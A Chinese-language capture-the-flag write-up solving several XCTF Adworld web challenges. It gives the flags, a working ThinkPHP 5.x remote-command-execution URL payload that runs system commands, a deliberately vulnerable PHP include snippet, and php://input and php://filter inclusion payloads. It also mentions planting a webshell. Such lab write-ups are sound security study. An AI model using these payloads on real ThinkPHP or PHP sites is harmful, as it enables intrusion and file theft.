XCTF攻防世界 WriteUp(Web)
感觉XCTF这个平台还是8错的,题目量也多质量也还可以,准备后面慢慢刷 新手区还是太简单了。。。这里就不放WriteUp了,直接整进阶区的 平台链接:https://adworld.xctf.org.cn/task baby_web Hint:想想初始页面是哪个 打开页面会自动跳转至1.php,尝试输入index.php访问,然后发现302跳转至1.php,然后在302响应头里找到flag: Training-WWW-Robots 这题。。。已经明示了,访问robots.txt,得到目录/fl0g.php,访问直接拿到flag:cyberpeace{f6c970f5e54f9ddf6964b44b35732dfe} php_rce 这题一打开是一个ThinkPHP的默认界面: 一开始先试了一下,访问一哈404的目录,发现只是返回正常的404界面;然后给主页加一些乱七八糟的参数,返回了错误,错误中泄露了软件版本(后面发现是我蒙中了s参数): 然后呢。。。就没有然后了,找了半天毛都找不到,robots.txt也没有信息。。。 于是百度,发现ThinkPHP 5.x好多版本都有RCE。。。emmm准备后面专门研究一下ThinkPHP的代码,这里先放一个Payload: http://111.198.29.45:41137/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name *flag* 通过这些参数执行了Linux的find指令,找到了flag所在目录/flag,于是执行cat /flag,拿到flag: 当然肯定不止这种解法,就这都任意文件写入了,直接写个马也是没问题的。 参考资料:ThinkPHP5框架缺陷导致远程命令执行、ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析 Web_php_include 源代码已给出: 1 2 3 4 5 6 7 8 9 <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 这题好多解法的亚子。。。我想到的就有两种,主要思想就是文件包含和任意命令执行。 双写+php://伪协议 Payload1:?page=PhP://input+POST任意PHP命令 Payload2:?page=PhP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php,解码拿到flag ...